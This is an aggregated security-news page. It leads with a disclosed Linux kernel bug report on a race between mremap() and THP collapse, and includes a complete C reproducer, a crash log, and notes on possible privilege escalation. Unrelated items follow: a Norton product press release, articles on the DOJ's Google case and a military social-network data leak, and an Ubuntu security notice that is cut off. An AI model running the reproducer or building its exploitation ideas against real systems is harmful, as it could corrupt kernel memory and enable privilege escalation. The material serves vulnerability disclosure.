A security-relevant race between mremap() and THP code has been discovered. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.

    SummaryI found a security-relevant race between mremap() and THP code. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.I also found two other (untested) theoretical races, but those arguably might not even count as bugs, and I'm pretty sure they're not security bugs. I am including my analysis of the closely related non-issues 2 and 3 as context in case you're curious, but I think they're stuff we can deal with on the public list later (or maybe even just leave as-is). Feel free to ignore that part of this report.I will send a suggested patch for the security bug, but I think it's unclear if my patch is actually the right way to fix it.This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-12-31.For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.htmlSecurity bug: move_normal_pmd vs MADVISE_COLLAPSEDescriptionIn mremap(), move_page_tables() looks at the type of the PMD entry and the specified address range to figure out by which method the next chunk of page table entries should be moved. At that point, the mmap_lock is held in write mode, but no rmap locks are held. For PMD entries that point to page tables and are fully covered by the source address range, move_pgt_entry(NORMAL_PMD, ...) is called, which first takes rmap locks, then does move_normal_pmd().move_normal_pmd() takes the necessary page table locks at source and destination, then moves an entire page table from the source to the destination:        /* Clear the pmd */        pmd = *old_pmd;        pmd_clear(old_pmd);        VM_BUG_ON(!pmd_none(*new_pmd));        pmd_populate(mm, new_pmd, pmd_pgtable(pmd));        flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);The problem is: The rmap locks, which protect against concurrent page table removal by retract_page_tables() in the THP code, are only taken after we have inspected the PMD entry to decide how to move it. So we can race as follows (with two processes that have mappings of the same tmpfs file that is stored on a tmpfs mount with huge=advise):process A                      process B=========                      =========mremap  mremap_to    move_vma      move_page_tables        get_old_pmd        alloc_new_pmd                      *** PREEMPT ***                               madvise(MADV_COLLAPSE)                                 do_madvise                                   madvise_walk_vmas                                     madvise_vma_behavior                                       madvise_collapse                                         hpage_collapse_scan_file                                           collapse_file                                             retract_page_tables                                               i_mmap_lock_read(mapping)                                               pmdp_collapse_flush                                               i_mmap_unlock_read(mapping)        move_pgt_entry(NORMAL_PMD, ...)          take_rmap_locks          move_normal_pmd          drop_rmap_locksIn this case, while move_normal_pmd() expects to see a PMD entry pointing to a page table, the PMD entry has actually been cleared. So this line:pmd_populate(mm, new_pmd, pmd_pgtable(pmd));runs pmd_pgtable() on a cleared PMD entry. On typical implementations (including the X86 one), this simply masks off some bits of pmd and assumes that the remainder is a physical address - so pmd_pgtable(0) returns a pointer to the page for physical address 0. Then, pmd_populate() constructs a PMD entry that points to this physical address as a page table.So this ends up installing physical address 0 as a page table.Fixing itI guess there are two ways we could fix this:    Hold the rmap locks much more broadly in move_page_tables(). In particular, take them before inspecting the source pmd, and if we do a PMD-level move, keep them held throughout the entire move.    Add a bunch of extra recheck/retry logic.I think the first option is nicer in terms of code complexity. Moving the lock up requires a small bit of refactoring though, and the broader locking could conceivably degrade the performance of concurrent rmap access.I will send a suggested patch for the first option in a minute (and I have tested that with that patch, my reproducer no longer triggers); but we might want to do some more bikeshedding of whether this is the right way to patch it, and if yes, whether the patch is doing too little lock-dropping for performance or adds too much complexity with the lock-dropping...ReproducerI made a testcase that triggers this issue after a while and causes a splat when the kernel later tries to unmap this page table at physical address 0:#define _GNU_SOURCE#include <err.h>#include <sched.h>#include <stdio.h>#include <string.h>#include <fcntl.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/stat.h>#include <sys/prctl.h>#include <sys/mount.h>#include <sys/mman.h>#include <sys/wait.h>#include <sys/ioctl.h>static void pin_to(int cpu) {  cpu_set_t cset;  CPU_ZERO(&cset);  CPU_SET(cpu, &cset);  if (sched_setaffinity(0, sizeof(cpu_set_t), &cset))    err(1, "set affinity");}#ifndef MADV_COLLAPSE#define MADV_COLLAPSE 25#endif#define SYSCHK(x) ({          \  typeof(x) __res = (x);      \  if (__res == (typeof(x))-1) \    err(1, "SYSCHK(" #x ")"); \  __res;                      \})static void write_file(char *name, char *buf) {  int fd = SYSCHK(open(name, O_WRONLY));  if (write(fd, buf, strlen(buf)) != strlen(buf))    err(1, "write %s", name);  close(fd);}static void write_map(char *name, int outer_id) {  char buf[100];  sprintf(buf, "0 %d 1", outer_id);  write_file(name, buf);}int main(void) {  // set up new mount ns for tmpfs with THP  int outer_uid = getuid();  int outer_gid = getgid();  SYSCHK(unshare(CLONE_NEWNS|CLONE_NEWUSER));  SYSCHK(mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL));  write_file("/proc/self/setgroups", "deny");  write_map("/proc/self/uid_map", outer_uid);  write_map("/proc/self/gid_map", outer_gid);  // make tmpfs with THP  SYSCHK(mount("none", "/tmp", "tmpfs", MS_NOSUID|MS_NODEV, "huge=advise"));  pin_to(0);  while (1) {    int fd = SYSCHK(open("/tmp/a", O_RDWR|O_CREAT, 0600));    void *ptr = SYSCHK(mmap((void*)0x200000UL, 0x200000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, 0));    SYSCHK(ftruncate(fd, 0x1000));    *((volatile char *)ptr) = 'a';    SYSCHK(ftruncate(fd, 0x200000));    SYSCHK(madvise(ptr, 0x200000, MADV_HUGEPAGE));    close(fd);    SYSCHK(unlink("/tmp/a"));    int child = SYSCHK(fork());    if (child == 0) {      for (int i=0; i<512; i++)        ((volatile char *)ptr)[0x1000*i] = 'a';      struct sched_param param = { .sched_priority = 0 };      SYSCHK(sched_setscheduler(0, SCHED_IDLE, &param));      /* race (outer side, will be preempted) */      SYSCHK(mremap((void*)0x200000, 0x200000, 0x200000, MREMAP_MAYMOVE|MREMAP_FIXED, (void*)0x40000000));      return 0;    }    for (int i=0; i<512; i++)      ((volatile char *)ptr)[0x1000*i] = 'a';    usleep(10);    /* race (inner side, will preempt after timer and voluntary resched) */    int madv_res = madvise(ptr, 0x200000, MADV_COLLAPSE);    if (madv_res == -1)      fprintf(stderr, "_");    int wstatus;    SYSCHK(waitpid(child, &wstatus, 0));    SYSCHK(munmap(ptr, 0x200000));    fprintf(stderr, ".");  }}Usage:user@vm:~/collapse-vs-mremap$ gcc -o collapse-vs-mremap-2-noassist collapse-vs-mremap-2-noassist.cuser@vm:~/collapse-vs-mremap$ ./collapse-vs-mremap-2-noassist.................................................................................................................................Result on Linux 6.11 in a QEMU VM, where a bunch of non-zero data is left over in the first 0x1000 bytes of physical memory (note the pmd:00000067):[  120.427189] BUG: Bad page map in process collapse-vs-mre  pte:f000ff53f000ff53 pmd:00000067[  120.428763] addr:0000000040000000 vm_flags:200000fb anon_vma:0000000000000000 mapping:ffff888007dd70f8 index:0[  120.430526] file:a fault:shmem_fault mmap:shmem_mmap read_folio:0x0[  120.431706] CPU: 0 UID: 1000 PID: 1219 Comm: collapse-vs-mre Tainted: G        W          6.11.0 #493[  120.433591] Tainted: [W]=WARN[  120.434201] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014[  120.435849] Call Trace:[  120.436375]  <TASK>[  120.436843]  dump_stack_lvl+0x53/0x70[  120.437570]  print_bad_pte+0x4e6/0x8e0[...][  120.447625]  vm_normal_page+0x1c8/0x260[...][  120.450162]  unmap_page_range+0x914/0x3d10[...][  120.456954]  unmap_vmas+0x1cc/0x390[...][  120.461123]  exit_mmap+0x160/0x6c0[...][  120.465181]  mmput+0xa0/0x3a0[  120.465793]  do_exit+0x7cd/0x27f0[...][  120.472198]  do_group_exit+0xac/0x230[  120.472916]  __x64_sys_exit_group+0x3e/0x50[  120.473722]  x64_sys_call+0x17f3/0x1800[  120.474469]  do_syscall_64+0x4b/0x110[  120.475189]  entry_SYSCALL_64_after_hwframe+0x76/0x7e[...][  120.489560]  </TASK>On other machines where physical page 0 contains only zeroes, the error is different and the kernel complains about the mm's pagetable bytes counter being -4096 on process exit.ImpactReaching this bug requires that you can create shmem/file THP mappings - anonymous THP uses different code that doesn't zap stuff under rmap locks. File THP is gated on an experimental config flag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need shmem THP to hit this bug. (Some Android kernels set CONFIG_READ_ONLY_THP_FOR_FS=y, but those kernels are older than 6.6, so they're not affected.)As far as I know, getting shmem THP normally requires that you can mount your own tmpfs with the right mount flags, so on normal Linux systems you usually need the ability to create your own user+mount namespace (like my reproducer does).If you trigger this bug in two different processes, or in two different locations in the same process, you should get physical page 0 mapped in two different places. Assuming you know that a certain part of the page contains zeroes, you should be able to get page table entries installed through one of the mappings, and then access those page table entries through the other mapping of the same page table.At that point, I think several bad things can happen that could lead to privilege escalation, though I haven't tested that:    When a PTE is zapped through the page table's first mapping, TLB flushes will only be done for the first mapping, but there can be TLB entries created through the second mapping. So you could probably end up with stale TLB entries pointing to freed pages.    If VMA 1 and VMA 2 share a page table, and you install an anonymous page through VMA 1, and then use mremap() on VMA 2 to move that PTE to another location, and then munmap() VMA 1, you'll end up with an anonymous page that's only mapped into a VMA that is not associated with the page's anon_vma, which leads to kernel UAF. (See https://project-zero.issues.chromium.org/issues/42451486 and https://git.kernel.org/linus/2555283eb40d .)I think the exploitability of this bug depends on whether a struct page has been allocated for physical address 0 - but that seems to be the case at least on the two X86 systems I tested this on.Non-issue 2 (no impact): move_ptes vs MADVISE_COLLAPSEmove_ptes() locks the source and destination page tables as follows:        old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);        if (!old_pte)                return -EAGAIN;        new_pte = pte_offset_map_nolock(mm, new_pmd, new_addr, &new_ptl);        if (!new_pte) {                pte_unmap_unlock(old_pte, old_ptl);                return -EAGAIN;        }        if (new_ptl != old_ptl)                spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);pte_offset_map_nolock() followed by manually taking the page table lock does not (unlike pte_offset_map_lock()) protect against concurrent removal of the page table via retract_page_tables(); and that can happen when need_rmap_locks is false. So I think that after this block, we can end up with new_pte pointing to a page table that has already been scheduled for RCU-delayed freeing. The good news is that (as far as I understand) this can only happen when all the PTEs in the source page table are pte_none(), so no PTEs will actually be written to the detached destination page table, so nothing bad happens.Non-issue 3 (probably no impact, untested): move_huge_pmd vs split_huge_page_to_list_to_orderThe classic way mremap() used to work is:    We make a new VMA.    We move page table entries into the new VMA with move_page_tables(), creating page tables if necessary. Only page table entries are moved; the old page tables stay where they are.    If a page table allocation fails due to OOM, or if the ->mremap handler returns an error, we use move_page_tables() to move the page table entries back to the old VMA; this is expected to always succeed, since the old page tables still exist, so page table allocation should not happen.As a comment in move_page_tables() explains:/* * On error, move entries back from new area to old, * which will succeed since page tables still there, * and then proceed to unmap new area instead of old. */However, that does not hold in the following scenario, assuming that the architecture does not define HAVE_MOVE_PMD (which permits mremap() to move entire page tables):    move_vma() calls move_page_tables()    move_page_tables() moves an anonymous huge PMD entry.    move_page_tables() tries to move more page table entries, but page table allocation fails, and the function returns early.    Another racing process causes the huge PMD entry to be split via split_huge_page_to_list_to_order() (turning the huge PMD entry into a PMD entry pointing to a page table whose PTEs point to all the subpages).    move_vma() calls move_page_tables() in the reverse direction to move PTEs back.    move_page_tables() unexpectedly needs to allocate a new page table to move the PTEs generated by the huge PMD split, which again fails. PTEs are left behind in the destination area.    do_vmi_munmap() removes the temporary destination VMA and removes the left-behind PTEs in the destination area.So in the end, an anonymous page has erroneously disappeared from the VMA, but I think that doesn't lead to any major consequences.FWIW, the architectures that define HAVE_ARCH_TRANSPARENT_HUGEPAGE without also defining HAVE_MOVE_PMD are: mips, loongarch, s390, sparc64, arc, arm.I think similar things can probably also happen on x86/arm64 if, when moving PTEs back with move_pgt_entry(HPAGE_PMD, ...), we race with a concurrent split_huge_page_to_list_to_order() such that move_huge_pmd() fails at the __pmd_trans_huge_lock() and we fall back to the move_ptes() path.CommentsAll commentsja...@google.com <ja...@google.com> #2Oct 15, 2024 11:05AMThe fix for the security bug is currently in the MM tree at https://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm.git/commit/?id=9118e3ff1212add463770537519dce4aed51cf94 , on the mm-hotfixes-unstable branch.ja...@google.com <ja...@google.com> #3Oct 22, 2024 09:28AMMarked as fixed, reassigned to ja...@google.com.Fix landed as https://git.kernel.org/linus/6fa1066fc5d00cb9f1b0e83b7ff6ef98d26ba2aa ("mm/mremap: fix move_normal_pmd/retract_page_tables race").In stable releases:    6.6.58 (2024-10-22)    6.11.5 (2024-10-22)Related CVE Number: CVE-2024-50066.Credit: Jann Horn

Linux 6.6 Race Condition

PRESS RELEASE

TEMPE, Ariz. and PRAGUE, Nov. 21, 2024 /PRNewswire/ -- Norton, a leading Cyber Safety brand of Gen™ (NASDAQ: GEN), has launched the new Norton Small Business Premium, an all-in-one, easy-to-use cybersecurity plan specifically designed for entrepreneurs and small businesses. In addition to powerful device security, Norton Small Business Premium features 24/7 Business Tech Support, Financial Monitoring, Social Media Monitoring and more.

"More than half (56%)\* of small business owners report that cybersecurity threats impact their business. Unfortunately, not enough of these entrepreneurs and small businesses have cybersecurity in place, often due to their cost and complexity," said Leena Elias, Chief Product Officer at Gen. "Norton Small Business Premium not only takes the work out of securing your business, we also help when other IT issues crop up."

Cybersecurity is crucial for businesses to protect their sensitive data, networks, and digital assets from cyberthreats that can lead to unauthorized access to company networks, data breaches, financial losses, and reputation damage. To help protect businesses where they need it most, Norton Small Business Premium includes features such as:

*   24/7 Business Tech Support: Subscriptions include access to Norton experts five time as year. These experts are available 24/7 for remote IT support on your devices, network, and software.
    
*   Financial Monitoring: Get alerts so you can act quickly if we detect suspicious transactions on your company's bank accounts.   
    
*   Social Media Monitoring: Prevent your business social media profiles from being taken over by regularly monitoring for suspicious activities on your accounts. 
    
*   Device Security: Real-time antivirus helps protect your devices, and our firewall\* helps block cybercriminals from accessing your network.
    
*   Secure VPN: Work online and access websites more safely at home or on the go with bank-grade VPN encryption.
    
*   Additional features include Password Manager, Cloud Backup, performance enhancements and more.
    

Norton Small Business Premium doesn't require an IT specialist or cybersecurity knowledge to use. It's easy to install and runs seamlessly in the background on Windows, Mac, Android, and iOS, allowing you to focus on your business without slowing down operations. 

Norton recommends 10 tips for small business Cyber Safety: 

1.  Learn to spot signs of phishing and teach your employees
    
2.  Only click links or download attachments from known sources
    
3.  Avoid sharing personal information or private company data over email
    
4.  Always keep your operating system, applications, and drivers up-to-date
    
5.  Make sure your WiFi network is protected with a strong password
    
6.  Regularly back up your data
    
7.  Require employees to use a VPN when doing company work on a public WiFi network (think airports and coffee shops)
    
8.  Always use multi-factor-authentication for an extra layer of protection
    
9.  Don't neglect mobile devices – make sure they are password protected and use security software
    
10.  Invest in a cybersecurity solution such as Norton Small Business Premium
    

Norton Small Business Premium is available now with prices starting at $299.99/year with options for 6, 10 or 20-device plans. For more information, please visit norton.com/products/small-business.

About Norton   
Norton is a leading Cyber Safety brand of Gen™ (NASDAQ: GEN), a global company dedicated to powering Digital Freedom through its family of trusted consumer brands including Norton, Avast, LifeLock, Avira, AVG, ReputationDefender and CCleaner. Gen empowers people to live their digital lives safely, privately, and confidently today and for generations to come. Gen brings award-winning products and services in cybersecurity, online privacy and identity protection to more than 500 million users in more than 150 countries. Learn more at Norton.com and GenDigital.com.

You May Also Like

Norton Introduces Small Business Premium for Business-Grade Security

The DOJ proposes tough proposals in its antitrust lawsuit against Google, including selling the Chrome browser, limiting search…

The DOJ proposes tough proposals in its antitrust lawsuit against Google, including selling the Chrome browser, limiting search deals, and restructuring its operations to limit monopoly.

As part of its antitrust lawsuit against Google, the U.S. Department of Justice (DOJ) has proposed major changes that could entirely change the tech giant’s business structure and its role on the Internet.

The DOJ’s latest filing seeks the divestiture of key Google assets, including its Chrome browser, and calls for structural changes that could impact Android and its search operations. Google has strongly criticized the proposals, framing them as a threat to innovation, security, and consumer choice.

****Background of the Lawsuit****

The DOJ first filed its antitrust lawsuit against Google **in October 2020**, accusing the company of abusing its dominance in the search engine market to squash competition. The case focuses on Google’s search distribution agreements with major partners, such as Apple, Mozilla, and smartphone manufacturers, which allegedly back its **monopoly** by making Google Search the default on browsers and devices.

The DOJ argues that these practices harm competition by blocking rival search engines from gaining a foothold in the market. Central to the case is the allegation that Google’s actions prevent fair competition and innovation, ultimately harming consumers.

****What the DOJ Proposes****

Hackread.com analysed the DoJ’s **latest filing (PDF)**. Here’s what the Department has outlined and proposed to end Google’s dominance:

*   **Divestiture of Chrome and Possibly Android**: The DOJ suggests that Google sell its Chrome browser and its Android operating system to limit its control over internet access points.
*   **Search Choice Screens**: The proposal requires Google to implement choice screens, where users select their preferred search engine on devices like Google Pixel phones. This design must be approved by a newly proposed “Technical Committee.”
*   **Data Sharing Requirements**: Google would be required to share search data and innovations with competitors, including foreign companies.
*   **Ban on Default Search Agreements**: The DOJ aims to prohibit Google from entering into agreements with partners like Apple or Mozilla to make Google Search the default engine.

The DOJ has framed these measures as necessary to ensure fair competition and restore balance to the digital marketplace.

****Google’s Response****

In response, Google has strongly pushed back against the DOJ’s proposals, describing them as extreme, radical interventionist agenda, and harmful to consumers. In a **blog post** published November 11, 2024, Google argued that the proposals would:

*   **Compromise Privacy and Security**: Divesting Chrome and Android could lead to increased risks for user data and diminish the security features Google has built into these platforms.
*   **Stifle Innovation**: Google warned that the measures could chill investment in cutting-edge technologies, particularly in artificial intelligence, where the company is a global leader.
*   **Hurt Partners and Developers**: Google claims the proposals would harm partners like Mozilla, whose Firefox browser relies on revenue from Google’s search placement agreements.
*   **Introduce Overregulation**: Google criticized the creation of a Technical Committee with broad powers to oversee its operations as an unprecedented overreach.

Google maintains that its dominance in the search market is due to offering “the industry’s highest quality search engine,” not through unfair practices. The company plans to submit its own proposals and continue its legal battle into the next year.

> DOJ had a chance to propose remedies related to the issue in this case: search distribution agreements. Instead, DOJ chose to push a radical interventionist agenda that would harm Americans and America’s global technology leadership. https://t.co/QslGbUyklR
> 
> — News from Google (@NewsFromGoogle) November 21, 2024

****Industry-Wide Implications****

If the DOJ’s proposals are implemented, the tech industry could see a major change in power dynamics and business practices:

*   **Impact on Browser and Operating System Markets**: Forcing Google to sell Chrome and potentially Android would create opportunities for competitors, but it might also disrupt the user experience for millions who rely on Google’s integrated ecosystem.
*   **Search Market Competition**: Measures like search choice screens could pave the way for smaller search engines to gain traction, but critics argue that such interventions may confuse users and lead to inferior experiences.
*   **AI Development**: Google’s claims about reduced AI investment could have far-reaching consequences for advancements in automation, machine learning, and related industries.
*   **Global Technology Leadership**: The case raises concerns about U.S. competitiveness in technology, as the remedies could weaken one of the nation’s largest and most influential tech companies.

Nevertheless, the DOJ’s proposals mean a straightforward measure to limit one of the most powerful companies in the world, but the battle is far from over. Google has vowed to contest the measures, and the case will likely drag on for months if not years.

This legal battle will also challenge how we balance competition and innovation in the tech world. Its outcome could change how we use technology and online search for years to come.

1.  **ChatGPT’s Training Methods Challenged in Lawsuit**
2.  **Google Incognito: New Disclaimer Reveals Data Tracking**
3.  **$4B lawsuit claims Google tracked iPhone users’ activities**
4.  **DuckDuckGo says Google Incognito searches are not private**
5.  **HP Monopoly on Ink, Alleges 3rd-Party Cartridge Malware Risk**

DOJ Proposes Breaking Up Google: Calls for Sale of Chrome Browser

Forces Penpals, a social network for US and UK military personnel, exposed the sensitive data of 1.1M users,…

Forces Penpals, a social network for US and UK military personnel, exposed the sensitive data of 1.1M users, including SSNs, personal details, and proof of service. Learn about the incident and its possible impact.

Forces Penpals, a dating service and social network for members of the US and UK armed forces and their supporters since 2002, was found leaking personal details of over 1.1 million registered users.

This issue was identified by Jeremiah Fowler, a prominent cybersecurity researcher recognized for uncovering and advising on securing **misconfigured cloud servers** and databases.

According to Fowler’s **report** for VPNmentor, shared with Hackread.com ahead of its publication on November 20, 2024, the data belonged to Conduitor Limited, which publicly trades as Forces Penpals.

****The Exposed Data****

The analysis revealed that the leaked information included both Personally Identifiable Information (PII) and sensitive images. Additionally, the exposed data contained Social Security Numbers (SSNs) of unsuspecting users. This echoes the August 6, 2024, breach at National Public Data, where a hacker leaked 3.6 billion records from users in the USA, Canada, and the UK, which also included billions of SSNs.

In the case of Forces Penpals, the server exposed the following data:

*   **Images**
*   **Locations**
*   **Full names**
*   **Mailing addresses**
*   **Social Security Numbers**
*   **National Insurance Numbers (Similar to SSN in the UK).**

Fowler noted that the server also contained additional data that should not have been exposed. This included documents such as proof of service, military ranks, the branch of service the individual belongs to, and other sensitive details.

> _“The publicly exposed database was not password-protected or encrypted. It contained a total of 1,187,296 documents. In a limited sampling, a majority of the documents I saw were user images, while others were photos of potentially sensitive proof of service documents.”_  
> 
> Jeremiah Fowler

Screenshot from the exposed data (Screenshot via VPNmentor)

****Current Status****

Forces Penpals has acknowledged the breach, attributing it to a coding error that misdirected documents and left a directory listing publicly accessible. The company has since taken steps to secure the database.

However, it is still unclear whether any malicious actors accessed the exposed information. Forces Penpals has yet to disclose the duration of the exposure or report any signs of suspicious activity.

It is also unclear whether the data was leaked through the website or the company’s iOS and Android apps. Nevertheless, this incident is a reminder for similar services to focus on data security and safeguard their users’ privacy from growing cyber threats.

1.  **Data Leak Exposes Indian Police, Military Biometric Data**
2.  **US military personnel defrauded into losing $822m in scams**
3.  **British Military’s Twitter and YouTube Hacked in Crypto Scam**
4.  **US Military Targeted by Smartwatches Linked to Data Breaches**
5.  **Misconfigured AWS Buckets Expose US Military Spying Campaign**

US and UK Military Social Network “Forces Penpals” Exposes SSN, PII Data

Ubuntu Security Notice 7123-1 - It was discovered that the CIFS network file system implementation in the Linux kernel did not properly validate certain SMB messages, leading to an out-of-bounds read vulnerability. An attacker could use this to cause a denial of service or possibly expose sensitive information. Supraja Sridhara, Benedict Schlüter, Mark Kuhne, Andrin Bertschi, and Shweta Shinde discovered that the Confidential Computing framework in the Linux kernel for x86 platforms did not properly handle 32-bit emulation on TDX and SEV. An attacker with access to the VMM could use this to cause a denial of service or possibly execute arbitrary code.

    ==========================================================================Ubuntu Security Notice USN-7123-1November 20, 2024linux-azure vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 22.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux-azure: Linux kernel for Microsoft Azure Cloud systemsDetails:It was discovered that the CIFS network file system implementation in theLinux kernel did not properly validate certain SMB messages, leading to anout-of-bounds read vulnerability. An attacker could use this to cause adenial of service (system crash) or possibly expose sensitive information.(CVE-2023-6610)Supraja Sridhara, Benedict Schlüter, Mark Kuhne, Andrin Bertschi, andShweta Shinde discovered that the Confidential Computing framework in theLinux kernel for x86 platforms did not properly handle 32-bit emulation onTDX and SEV. An attacker with access to the VMM could use this to cause adenial of service (guest crash) or possibly execute arbitrary code.(CVE-2024-25744)Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:  - ARM64 architecture;  - MIPS architecture;  - PowerPC architecture;  - RISC-V architecture;  - User-Mode Linux (UML);  - x86 architecture;  - Block layer subsystem;  - Android drivers;  - Serial ATA and Parallel ATA drivers;  - ATM drivers;  - Drivers core;  - Null block device driver;  - Character device driver;  - ARM SCMI message protocol;  - GPU drivers;  - HID subsystem;  - Hardware monitoring drivers;  - I3C subsystem;  - InfiniBand drivers;  - Input Device core drivers;  - Input Device (Miscellaneous) drivers;  - IOMMU subsystem;  - IRQ chip drivers;  - ISDN/mISDN subsystem;  - LED subsystem;  - Multiple devices driver;  - Media drivers;  - VMware VMCI Driver;  - MMC subsystem;  - Network drivers;  - Near Field Communication (NFC) drivers;  - NVME drivers;  - Device tree and open firmware driver;  - Parport drivers;  - PCI subsystem;  - Pin controllers subsystem;  - Remote Processor subsystem;  - S/390 drivers;  - SCSI drivers;  - QCOM SoC drivers;  - Direct Digital Synthesis drivers;  - Thunderbolt and USB4 drivers;  - TTY drivers;  - Userspace I/O drivers;  - DesignWare USB3 driver;  - USB Gadget drivers;  - USB Host Controller drivers;  - USB Type-C Connector System Software Interface driver;  - USB over IP driver;  - VHOST drivers;  - File systems infrastructure;  - BTRFS file system;  - Ext4 file system;  - F2FS file system;  - JFS file system;  - NILFS2 file system;  - NTFS3 file system;  - Proc file system;  - SMB network file system;  - Core kernel;  - DMA mapping infrastructure;  - RCU subsystem;  - Tracing infrastructure;  - Radix Tree data structure library;  - Kernel userspace event delivery library;  - Objagg library;  - Memory management;  - Amateur Radio drivers;  - Bluetooth subsystem;  - Ethernet bridge;  - CAN network layer;  - Networking core;  - Ethtool driver;  - IPv4 networking;  - IPv6 networking;  - IUCV driver;  - KCM (Kernel Connection Multiplexor) sockets driver;  - MAC80211 subsystem;  - Multipath TCP;  - Netfilter;  - Network traffic control;  - SCTP protocol;  - Sun RPC protocol;  - TIPC protocol;  - TLS protocol;  - Wireless networking;  - AppArmor security module;  - Landlock security;  - Simplified Mandatory Access Control Kernel framework;  - FireWire sound drivers;  - SoC audio core drivers;  - USB sound devices;(CVE-2023-52751, CVE-2024-43902, CVE-2024-46791, CVE-2024-45018,CVE-2024-44987, CVE-2024-46763, CVE-2024-46724, CVE-2024-26893,CVE-2024-42283, CVE-2024-46738, CVE-2024-46819, CVE-2024-44982,CVE-2023-52889, CVE-2024-45025, CVE-2023-52918, CVE-2024-46800,CVE-2024-46756, CVE-2024-46719, CVE-2024-39472, CVE-2024-42292,CVE-2024-45006, CVE-2024-46675, CVE-2024-44971, CVE-2024-46731,CVE-2024-42286, CVE-2024-44954, CVE-2024-42274, CVE-2024-46746,CVE-2024-42276, CVE-2024-43869, CVE-2024-43830, CVE-2024-42288,CVE-2024-41042, CVE-2024-42126, CVE-2024-43870, CVE-2024-46805,CVE-2024-41078, CVE-2024-44966, CVE-2024-44989, CVE-2024-46795,CVE-2024-44988, CVE-2024-38577, CVE-2024-43839, CVE-2024-43909,CVE-2024-46745, CVE-2024-42285, CVE-2024-43871, CVE-2024-41081,CVE-2024-42289, CVE-2024-44965, CVE-2024-42271, CVE-2024-42284,CVE-2024-45009, CVE-2024-41068, CVE-2024-44958, CVE-2024-46759,CVE-2024-42304, CVE-2024-43890, CVE-2024-41019, CVE-2024-43846,CVE-2024-41012, CVE-2024-44983, CVE-2024-41072, CVE-2024-46702,CVE-2024-26800, CVE-2024-42302, CVE-2023-52572, CVE-2024-46783,CVE-2024-43892, CVE-2024-45028, CVE-2024-44999, CVE-2024-46814,CVE-2024-41022, CVE-2024-42281, CVE-2024-46679, CVE-2024-42290,CVE-2024-44960, CVE-2024-41071, CVE-2024-41091, CVE-2024-44990,CVE-2024-46757, CVE-2024-38611, CVE-2024-47668, CVE-2024-45008,CVE-2024-46707, CVE-2024-44935, CVE-2024-42299, CVE-2024-46771,CVE-2024-42265, CVE-2024-43883, CVE-2024-46673, CVE-2024-46747,CVE-2024-43875, CVE-2024-44985, CVE-2024-42311, CVE-2024-46798,CVE-2024-43884, CVE-2024-46725, CVE-2024-42318, CVE-2024-43873,CVE-2024-42296, CVE-2024-43907, CVE-2024-43834, CVE-2024-46721,CVE-2024-47659, CVE-2024-45026, CVE-2024-47667, CVE-2024-44986,CVE-2024-41020, CVE-2024-43849, CVE-2024-46744, CVE-2024-44946,CVE-2024-43861, CVE-2024-42269, CVE-2024-46822, CVE-2024-46739,CVE-2024-44948, CVE-2024-46804, CVE-2024-41064, CVE-2024-44995,CVE-2024-26669, CVE-2024-46781, CVE-2024-46732, CVE-2024-42246,CVE-2024-46780, CVE-2024-46743, CVE-2024-44947, CVE-2024-47663,CVE-2024-46752, CVE-2024-43893, CVE-2024-45021, CVE-2024-43856,CVE-2024-46714, CVE-2024-41011, CVE-2024-41070, CVE-2024-46832,CVE-2024-46737, CVE-2024-43867, CVE-2024-42277, CVE-2024-44934,CVE-2024-46723, CVE-2024-43880, CVE-2024-43860, CVE-2024-42297,CVE-2024-45003, CVE-2024-46810, CVE-2024-43889, CVE-2024-42287,CVE-2024-43854, CVE-2024-42313, CVE-2024-42305, CVE-2024-41077,CVE-2024-38602, CVE-2024-46758, CVE-2024-46807, CVE-2024-43853,CVE-2024-45007, CVE-2024-41090, CVE-2024-42280, CVE-2024-46844,CVE-2024-45011, CVE-2024-47660, CVE-2024-47665, CVE-2024-46829,CVE-2024-44944, CVE-2024-41015, CVE-2024-42259, CVE-2024-43914,CVE-2024-43829, CVE-2022-48666, CVE-2024-43828, CVE-2024-46755,CVE-2024-43858, CVE-2024-46740, CVE-2024-46689, CVE-2024-42309,CVE-2024-42295, CVE-2024-41098, CVE-2023-52757, CVE-2024-46782,CVE-2024-46777, CVE-2024-46685, CVE-2024-44969, CVE-2024-47669,CVE-2024-43882, CVE-2024-42310, CVE-2024-43905, CVE-2024-44998,CVE-2024-42306, CVE-2024-40915, CVE-2024-46713, CVE-2024-41059,CVE-2024-41017, CVE-2024-43879, CVE-2024-46677, CVE-2024-42312,CVE-2024-43908, CVE-2024-46750, CVE-2024-46722, CVE-2024-42267,CVE-2024-46818, CVE-2024-26661, CVE-2024-43817, CVE-2024-42272,CVE-2024-41065, CVE-2024-46828, CVE-2024-46840, CVE-2024-46676,CVE-2024-43841, CVE-2024-46815, CVE-2024-26607, CVE-2023-52434,CVE-2024-46761, CVE-2024-42114, CVE-2024-41073, CVE-2024-43894,CVE-2024-43835, CVE-2024-46817, CVE-2024-41060, CVE-2024-36484,CVE-2024-42301, CVE-2024-44974, CVE-2024-43863, CVE-2024-41063)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 22.04 LTS  